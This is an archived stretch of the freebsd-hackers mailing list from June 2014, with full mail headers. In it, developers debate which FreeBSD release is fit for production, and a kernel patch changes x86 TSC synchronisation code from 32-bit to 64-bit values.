AHJX1o0063rWEyL8RHJar8; Wed, 04 Jun 2014 17:18:41 +0000 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: There is currently no usable release of FreeBSD. From: Tony Li In-Reply-To: Date: Wed, 4 Jun 2014 10:18:30 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> References: To: John Kozubik X-Mailer: Apple Mail (2.1878.2) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=comcast.net; s=q20140121; t=1401902443; bh=Uod2lBQpV05b13OIxS9tfiFj6kS/Xzm5WD5RjmVWZPs=; h=Received:Received:Content-Type:Mime-Version:Subject:From:Date: Message-Id:To; b=iaCzGdM+dPvr4Sk79RkQf/QOBHYp1ejwkVKWGY2RjZdFfF26YiLkyjazcCatfxEGo iQltn8xDn1AXaboCG9lcYPsSFc0JMUciSpTWG4mm0Q8TMDKCpogOmIHLxDKzyKhEE9 xb+vEm314sLSGKo9Hht7Yp3sLhDlicX1HdFA2sXmXPQLWrW7h1bAMdKWSUTbWpP5N+ QwIBk9WZafn9ErrwKTlyHpoYdB+Q9YthJvsft45G9i3VF9Td5k6hDbS6VtdX/Z3zWj Qt50rUzyh2S1HSia1EGkrIRzmDyIR8Hwb2+C5QrOga1xfsU+kUnTJ17EGjbfwyYH0E wQtoNvj/AQF7g== Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:20:45 -0000 What=92s the problem with using =91legacy=92? Tony On Jun 4, 2014, at 9:52 AM, John Kozubik wrote: >=20 > freebsd.org website shows the following: >=20 > Production: 10.0 > Legacy: 9.2, 8.4 > Upcoming: 9.3 >=20 > You can't put an x.0 release into production (a bigotry that is *well = deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are legacy ... = and we all know that 9.3 is as far as the 9 branch is going to go, so = that's a dead end for any serious deployment. >=20 > Let's pretend for a moment that you are going to use FreeBSD for = something other than FreeBSD development. Let's pretend that you have = customers and shareholders and boardmembers and contracts and = regulators. >=20 > Which version of FreeBSD would you use ? > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:25:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0F2D9A57 for ; Wed, 4 Jun 2014 17:25:35 +0000 (UTC) Received: from mail-ob0-f171.google.com (mail-ob0-f171.google.com [209.85.214.171]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CA7EC2A8B for ; Wed, 4 Jun 2014 17:25:34 +0000 (UTC) Received: by mail-ob0-f171.google.com with SMTP id wn1so8078687obc.30 for ; Wed, 04 Jun 2014 10:25:28 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=sE8cpR3fWJFHo/8CduXOqf28+6Nd2F9+O77NubTNdds=; b=EZsBcF9o5eA7TfpOG/kKeMz+qu7brbzMLQt8miw52Z4fJqx5CLtqfgXLHFZTueMWp4 tUOvXrNgtJvNfQGXusdIkME1jhQkrAwAvYhkoQFhsMxi1gSLmMh6u3siX6Q6aT+AvJey B0MXtunWZy1eRnJFSd1CqxxUvzMFi1puRXY4hQxZyZdD55j/mG8gtUxK4Ygzay2gChf9 ZWDQZAuTeSUPHizqmnPj7K86X+tZdmU+V8lXWBLn3vq3w1YFRMlhAf1R8WVYPLz2rm4S 0McVzdI9+YkkPflpoz6o2827cg2wHr+SvbHTawODraSVA58Nd+0K5Vvko9UKFc26rWKk DBIA== X-Gm-Message-State: ALoCoQmBA6T3pBIK0+Q8jo4xS6R2UeHOpbs1uTJCnvH9F8tYTpgnYn4jGpibsCe7+aXO1kOJzuDz X-Received: by 10.182.206.113 with SMTP id ln17mr59106169obc.53.1401902377106; Wed, 04 Jun 2014 10:19:37 -0700 (PDT) Received: from ?IPv6:2610:160:11:33:7987:3b4a:277c:d02c? ([2610:160:11:33:7987:3b4a:277c:d02c]) by mx.google.com with ESMTPSA id ut8sm5819675obc.22.2014.06.04.10.19.35 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 04 Jun 2014 10:19:35 -0700 (PDT) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: There is currently no usable release of FreeBSD. From: Jim Thompson In-Reply-To: Date: Wed, 4 Jun 2014 12:18:32 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: To: John Kozubik X-Mailer: Apple Mail (2.1878.2) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:25:35 -0000 On Jun 4, 2014, at 11:52 AM, John Kozubik wrote: > Which version of FreeBSD would you use ? pfSense is moving to FreeBSD 10.0. 9.2 / 8.4 aren=92t really =93Legacy=94 though. jim From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:27:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 914EBB7F for ; Wed, 4 Jun 2014 17:27:48 +0000 (UTC) Received: from cdptpa-oedge-vip.email.rr.com (cdptpa-outbound-snat.email.rr.com [107.14.166.227]) by mx1.freebsd.org (Postfix) with ESMTP id 531992ABA for ; Wed, 4 Jun 2014 17:27:47 +0000 (UTC) Received: from [74.73.125.121] ([74.73.125.121:59898] helo=janus.anserinae.net) by cdptpa-oedge02 (envelope-from ) (ecelerity 3.5.0.35861 r(Momo-dev:tip)) with ESMTP id 03/90-30880-C075F835; Wed, 04 Jun 2014 17:27:41 +0000 Received: from JANUS.anserinae.net ([fe80::192c:4b89:9fe9:dc6d]) by janus.anserinae.net ([fe80::192c:4b89:9fe9:dc6d%11]) with mapi id 14.03.0174.001; Wed, 4 Jun 2014 13:14:47 -0400 From: Kamil Choudhury To: John Kozubik , "freebsd-hackers@freebsd.org" Subject: RE: There is currently no usable release of FreeBSD. Thread-Topic: There is currently no usable release of FreeBSD. Thread-Index: AQHPgBcWCxSVr0dI7UaKFdngHKh5gZthLmmj Date: Wed, 4 Jun 2014 17:14:47 +0000 Message-ID: References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [199.29.247.15] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-RR-Connecting-IP: 107.14.168.130:25 X-Cloudmark-Score: 0 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:27:48 -0000 Use the branch which offers (for you) the best balance of features =0A= and "support time remaining". Legacy isn't the same as unusable. =0A= =0A= We deployed on 8.1, and have upgraded steadily to 8.4. =0A= =0A= We're planning on rebuilding our farms using 10.1 when it becomes available= . =0A= From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:32:15 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9293FD8A for ; Wed, 4 Jun 2014 17:32:15 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6B94C2B7E for ; Wed, 4 Jun 2014 17:32:14 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s54HWDlE032048 for ; Wed, 4 Jun 2014 11:32:13 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201406041732.s54HWDlE032048@elf.torek.net> From: Chris Torek cc: freebsd-hackers@freebsd.org Subject: Re: kern.timecounter.smp_tsc_adjust In-reply-to: Your message of "Tue, 03 Jun 2014 14:57:02 -0600." <201406032057.s53Kv2YT016755@elf.torek.net> Date: Wed, 04 Jun 2014 11:32:13 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Wed, 04 Jun 2014 11:32:13 -0600 (MDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:32:15 -0000 >In any case, at least one, and maybe two, routines need their >types changed (and maybe the TSC_READ macro as well). Is it OK >to just assume the upper 32 bits are in sync? For whatever it may be worth, the following patch (to change everything to 64 bits) is boot-tested and no longer crashes the system that did crash with the unpatched version. It also successfully synchronized TSCs at least once (Intel based board with the "invariant TSC" bit set, 40 CPUs). Chris x86/tsc: fix SMP TSC adjustment code On SMP systems, if kern.timecounter.smp_tsc is set, the kernel attempts to determine whether the TSCs on the processors are sufficiently in-sync to be used for time counting. If not, and kern.timecounter.smp_tsc_adjust is set, we then attempt to adjust all the TSCs. The adjustment code assumed we kept a full 64-bit value for each TSC, but the data-gathering and comparison code used 32-bit values. As a result, if the timecounters were out of sync, the adjustment code could crash (depending on the number of CPUs). This converts everything to full 64-bit values. diff --git a/x86/x86/tsc.c b/x86/x86/tsc.c index 30b8a30..cf05e94 100644 --- a/x86/x86/tsc.c +++ b/x86/x86/tsc.c @@ -373,11 +373,11 @@ init_TSC(void) static void \ tsc_read_##x(void *arg) \ { \ - uint32_t *tsc = arg; \ + uint64_t *tsc = arg; \ u_int cpu = PCPU_GET(cpuid); \ \ __asm __volatile("cpuid" : : : "eax", "ebx", "ecx", "edx"); \ - tsc[cpu * 3 + x] = rdtsc32(); \ + tsc[cpu * 3 + x] = rdtsc(); \ } TSC_READ(0) TSC_READ(1) @@ -389,8 +389,8 @@ TSC_READ(2) static void comp_smp_tsc(void *arg) { - uint32_t *tsc; - int32_t d1, d2; + uint64_t *tsc; + int64_t d1, d2; u_int cpu = PCPU_GET(cpuid); u_int i, j, size; @@ -454,7 +454,7 @@ adj_smp_tsc(void *arg) static int test_tsc(void) { - uint32_t *data, *tsc; + uint64_t *data, *tsc; u_int i, size, adj; if ((!smp_tsc && !tsc_is_invariant) || vm_guest) From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:39:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C6E6E5D7 for ; Wed, 4 Jun 2014 17:39:21 +0000 (UTC) Received: from mail.westryn.net (mail.westryn.net [199.48.135.251]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A887E2C08 for ; Wed, 4 Jun 2014 17:39:21 +0000 (UTC) Received: from [172.20.10.2] (116.sub-70-196-7.myvzw.com [70.196.7.116]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.westryn.net (Postfix) with ESMTPSA id 84CCD94362D; Wed, 4 Jun 2014 11:33:17 -0600 (MDT) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: There is currently no usable release of FreeBSD. From: Kim Shrier In-Reply-To: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> Date: Wed, 4 Jun 2014 12:33:24 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: <87E37241-F2C0-46A1-9FC5-6DEE7AAAABD8@westryn.net> References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> To: FreeBSD Hackers , John Kozubik X-Mailer: Apple Mail (2.1878.2) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:39:21 -0000 On Jun 4, 2014, at 12:18 PM, Tony Li wrote: >=20 > What=92s the problem with using =91legacy=92? >=20 > Tony >=20 > On Jun 4, 2014, at 9:52 AM, John Kozubik wrote: >=20 >>=20 >> freebsd.org website shows the following: >>=20 >> Production: 10.0 >> Legacy: 9.2, 8.4 >> Upcoming: 9.3 >>=20 >> You can't put an x.0 release into production (a bigotry that is *well = deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are legacy ... = and we all know that 9.3 is as far as the 9 branch is going to go, so = that's a dead end for any serious deployment. >>=20 >> Let's pretend for a moment that you are going to use FreeBSD for = something other than FreeBSD development. Let's pretend that you have = customers and shareholders and boardmembers and contracts and = regulators. >>=20 >> Which version of FreeBSD would you use ? >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" If I was putting together a production system today, I would use 9.2 p7. = When 9.3 comes out, I would upgrade to it after evaluating it. Even though 9.3 = is the end of the 9.x line, it will still be supported for 3 years after it comes = out. 10.0 is a big enough change that I would hold off until 10.2 before = using it unless I needed something in 10 that wasn=92t in 9. I typically hold off until = a x.2 release to put something in production as by that time, there are usually no = surprises. Kim From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:40:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 84C256D5 for ; Wed, 4 Jun 2014 17:40:30 +0000 (UTC) Received: from mail-qg0-x235.google.com (mail-qg0-x235.google.com [IPv6:2607:f8b0:400d:c04::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 454FA2C1F for ; Wed, 4 Jun 2014 17:40:30 +0000 (UTC) Received: by mail-qg0-f53.google.com with SMTP id f51so16424410qge.12 for ; Wed, 04 Jun 2014 10:40:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=mk2o3V/8hANeGBqHgCfxom4YF3Hvm442c/bWuhRzWB0=; b=EitH9Q7NfAGw2pef1vwIFotZL5HqXot82I9KfcdUHvywfHatao5k9E4/ba9xO5kKFC JQTTmw7e80BZHkv8UsGdF4Gomb932ju+58tFYHdsdlF6cUmQiSN6XJASM6h9dl1UKOly ocfADeDiqBrc5pV6Fv0iOLouypOEKPjtNRLpgwnJQtlx2F8kbXe0jJyiAUNNbhv606c1 occ2Cw6MfjKxo79ca9TgnHSLdqoz4HJX9ziVmbciyNxEePOJxfSPCwkRrD+nm7h2Ek/6 3/uL+8nU0dOyD0b2W7IyXcR0hM0GnUZm7bZlMEYxgtOzEWNS2lBhQ6qSrIJ0SuxHHy/Q MBpw== X-Received: by 10.224.122.211 with SMTP id m19mr75308283qar.6.1401903628850; Wed, 04 Jun 2014 10:40:28 -0700 (PDT) MIME-Version: 1.0 Sender: mozolevsky@gmail.com Received: by 10.224.100.72 with HTTP; Wed, 4 Jun 2014 10:39:48 -0700 (PDT) In-Reply-To: References: From: Igor Mozolevsky Date: Wed, 4 Jun 2014 18:39:48 +0100 X-Google-Sender-Auth: aby29fEJ_3HaZiP1TlW2WmewXRY Message-ID: Subject: Re: There is currently no usable release of FreeBSD. To: John Kozubik Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Hackers freeBSD X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:40:30 -0000 On 4 June 2014 17:52, John Kozubik wrote: > > freebsd.org website shows the following: > > Production: 10.0 > Legacy: 9.2, 8.4 > Upcoming: 9.3 > > You can't put an x.0 release into production (a bigotry that is *well > deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are legacy ... and > we all know that 9.3 is as far as the 9 branch is going to go, so that's = a > dead end for any serious deployment. > Netflix have no problem using 9.0 [1], and you've not made any rational argument against using 10.0=E2=80=A6 I would say the rule of thumb is to us= e the version that works for *you*. 1. https://www.netflix.com/openconnect/software Best, --=20 Igor M. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:47:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6A96D8B1; Wed, 4 Jun 2014 17:47:18 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mail.feld.me", Issuer "Gandi Standard SSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E45C82CF8; Wed, 4 Jun 2014 17:47:17 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id 4ac6800b; Wed, 4 Jun 2014 12:47:06 -0500 (CDT) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=feld.me; h=mime-version :content-type:date:from:to:cc:subject:in-reply-to:references :message-id:sender; s=blargle2; bh=wvjYUU7HgSDlgZc3wI4LC1SkUww=; b= Xt3aEETMHcVb4bQl9R671PBOT+d1rncQupaY6fteFjCip7NPo7eXOo1JzEJfJfSS zBN7Xe+ldeNntL5mPGICXpD+cJ3oyJEyjNQmEYHtbyqj97k+6uGQsiwjphQNu/G4 /ygwOxRLc4HypRPBu/E6UxC49hgE4yt0Yfq2XDOUyT9F/IC+dhbxrkqtnNFCNw6/ 4a7DF9EFj1p1JqvEBjuGkLm18h9lsYxZw/o0Q58xX4xFuZcgrRZEhB6jbQKfMrPi Ao/o2sLvpWPrXg/y2pma2P7IpcGjYOS57AXR6JjNjVGddvPNyvivfCrYpeF0wK1w KSDDBc/XSeB321UrayHtqQ== DomainKey-Signature: a=rsa-sha1; c=nofws; d=feld.me; h=mime-version :content-type:date:from:to:cc:subject:in-reply-to:references :message-id:sender; q=dns; s=blargle2; b=RPsm1mOKCzB8YHKCppdZjqJ N/lOYh9a9dQG1iTpt/92iJygxBKretjZc8GM8aaBE8UNls8Rjd9kiwFSqup0EJ2d i7ItskvOlk8pp40Qyy2uFmGTd/n43cbTC4tgnqBRw1XwOZ67vLeez9e5IbrZ/mk5 FtcfWFOgfy9MG+lPj+aeXADyham3MvdxM+a/ERRyU8DoZ6PbiQf9uQmCMvEQiTbg CwbC00SajGL9peiep5NHm8h9BnMNgw9GSVh7jZBr5XwhdEwLfBPiOS91XseWghGh TKccA+fQwnVPzW9CfcMQ9fVB4z9iub1Ij1BUTN5JDLfw+38JAMzn7rQrdjYgHAg= = Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id b1a2aca3; Wed, 4 Jun 2014 12:47:06 -0500 (CDT) Received: from feld@feld.me by mail.feld.me (Archiveopteryx 3.2.0) with esmtpa id 1401904025-3794-3791/5/10; Wed, 4 Jun 2014 17:47:05 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Date: Wed, 4 Jun 2014 12:47:04 -0500 From: Mark Felder To: John Kozubik Subject: Re: There is currently no usable release of FreeBSD. In-Reply-To: References: Message-Id: <7b7737a473e012b0604e44d0154d6fd5@mail.feld.me> X-Sender: feld@FreeBSD.org User-Agent: Roundcube Webmail/1.0.1 Sender: feld@feld.me Cc: freebsd-hackers@freebsd.org, owner-freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:47:18 -0000 On 2014-06-04 11:52, John Kozubik wrote: > freebsd.org website shows the following: > > Production: 10.0 > Legacy: 9.2, 8.4 > Upcoming: 9.3 > > You can't put an x.0 release into production (a bigotry that is *well > deserved* in light of 5.0 and 9.0) ... and 9.2 and 8.4 are legacy ... > and we all know that 9.3 is as far as the 9 branch is going to go, so > that's a dead end for any serious deployment. > Yes you can. You don't blindly update systems without knowing what you're getting into, so test test test. See also: Netflix's presentation from vBSDCon: "Dis-spelling the myth of the 'dot-oh' release". > Let's pretend for a moment that you are going to use FreeBSD for > something other than FreeBSD development. Let's pretend that you have > customers and shareholders and boardmembers and contracts and > regulators. I do. They're all on FreeBSD 10.0. > > Which version of FreeBSD would you use ? > 10.0. It's the best release FreeBSD has had in... years? From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:50:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from hammer.pct.niksun.com (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) by hub.freebsd.org (Postfix) with ESMTP id 520DAA29; Wed, 4 Jun 2014 17:50:12 +0000 (UTC) Message-ID: <538F5C53.7060208@FreeBSD.org> Date: Wed, 04 Jun 2014 13:50:11 -0400 From: Jung-uk Kim User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Chris Torek Subject: Re: kern.timecounter.smp_tsc_adjust References: <201406041732.s54HWDlE032048@elf.torek.net> In-Reply-To: <201406041732.s54HWDlE032048@elf.torek.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org, Alexander Motin X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:50:12 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 2014-06-04 13:32:13 -0400, Chris Torek wrote: >> In any case, at least one, and maybe two, routines need their >> types changed (and maybe the TSC_READ macro as well). Is it OK >> to just assume the upper 32 bits are in sync? > > For whatever it may be worth, the following patch (to change > everything to 64 bits) is boot-tested and no longer crashes the > system that did crash with the unpatched version. It also > successfully synchronized TSCs at least once (Intel based board > with the "invariant TSC" bit set, 40 CPUs). > > Chris > > x86/tsc: fix SMP TSC adjustment code > > On SMP systems, if kern.timecounter.smp_tsc is set, the kernel > attempts to determine whether the TSCs on the processors are > sufficiently in-sync to be used for time counting. If not, and > kern.timecounter.smp_tsc_adjust is set, we then attempt to adjust > all the TSCs. > > The adjustment code assumed we kept a full 64-bit value for each > TSC, but the data-gathering and comparison code used 32-bit values. > As a result, if the timecounters were out of sync, the adjustment > code could crash (depending on the number of CPUs). > > This converts everything to full 64-bit values. ... It was done on head almost two years ago: http://svnweb.freebsd.org/changeset/base/239133 I guess mav forgot to MFC r239133 before r250772 (CC'ed): http://svnweb.freebsd.org/changeset/base/250772 Jung-uk Kim -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBAgAGBQJTj1xTAAoJEHyflib82/FGhmwH/Rl6DY0mCYSn4IdWKpo+nZ+t SmZzXiItNrwoQrOdYcLp9ocWqvPW3OsCN8sZBEyIpj/WCTkS0gXru6oKN6n0HBjx EQrxI/SH9I/52JgnNZqbVBDS5AqQ0LKbqo6BsZjMl4b4xnHK/8yEKrNJnHRrnL0D 9zF2braQUrMPsIpzYuRB0k8UDWsa++6iAcPY+ovGdDT00WRawSXefChfU1MmTeCN XNiX37hn2t4CKQV1sQVM1hP1D7PSuik5mQq1YX1bZRLkAk8G53U+v1akQ4R+PoK1 569CE/K0KLbwegVtBzSaHMNRhKALweF73yvajSEofEnL76x8QLkeU1Z2d8hP74g= =L9LQ -----END PGP SIGNATURE----- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:55:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EBF83E0A for ; Wed, 4 Jun 2014 17:55:25 +0000 (UTC) Received: from mail-ie0-x22a.google.com (mail-ie0-x22a.google.com [IPv6:2607:f8b0:4001:c03::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id A86E22DEC for ; Wed, 4 Jun 2014 17:55:25 +0000 (UTC) Received: by mail-ie0-f170.google.com with SMTP id to1so6452130ieb.1 for ; Wed, 04 Jun 2014 10:55:25 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=lfxerCB0bIXt1ssFvE/ECgf7bf45WQ+76lZVZDx93sE=; b=I9oxtcBttZ6Pol4Kc4Fng9qhlwItEvG46sPP7WmZOo6WSs+3dLD0LNl2ADF0POdgG9 sO6kJLeRyQx+ckmz5U/euFqscDU+caV6eHSrPzKmy2HL9tynpkAsXWGMjkc/x8Uxz1Qb Kn0D59Z9dPeNUEH0/XB8mEpqR4veBet+WGtXQ= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=lfxerCB0bIXt1ssFvE/ECgf7bf45WQ+76lZVZDx93sE=; b=W61EWKrnvq1hr6P7IeDEICmP9ik+jF3sbWB4hV1WQEeLf38G5dWfRiExMD8Y6beWe8 pn7E/s7rVYXsIA52DLdNCT0/YB2AxEjat+SiXX/HWwTIXrdHsp2CLJhl/BwYT7I/1igs MTQ4aAsyUFWp2NY7DqxICi6oLxVRak4d8Ef46vFno5ElbbDyB7xt4tae0S4cfquUP2Bj gDc7DKVoHqg2nZKI8hPBQ3uXtTDdptsFrBawGEAZ4sxbaElPw2NLfJGiHjmHxdIvMmFN j0KQT5buOMmtj8O5d7u2BXve3ENTWHwlcPDmGI0IvJXdo/ZMN6bg4YA0fYJsLYSOT5Kh kmTA== X-Gm-Message-State: ALoCoQnV3Q99hEbbRHo0LhWH2tUIO/kYg7woNQhS/YmDjtt7E0nDJR/wA31ORbx5Tn0x+141awsc X-Received: by 10.50.43.201 with SMTP id y9mr9830658igl.12.1401904524863; Wed, 04 Jun 2014 10:55:24 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id mj5sm12039953igb.6.2014.06.04.10.55.23 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 04 Jun 2014 10:55:24 -0700 (PDT) References: <7b7737a473e012b0604e44d0154d6fd5@mail.feld.me> Mime-Version: 1.0 (1.0) In-Reply-To: <7b7737a473e012b0604e44d0154d6fd5@mail.feld.me> Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-2F4E3180-1DF2-4044-9ED9-D0C7323C1CB6; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: There is currently no usable 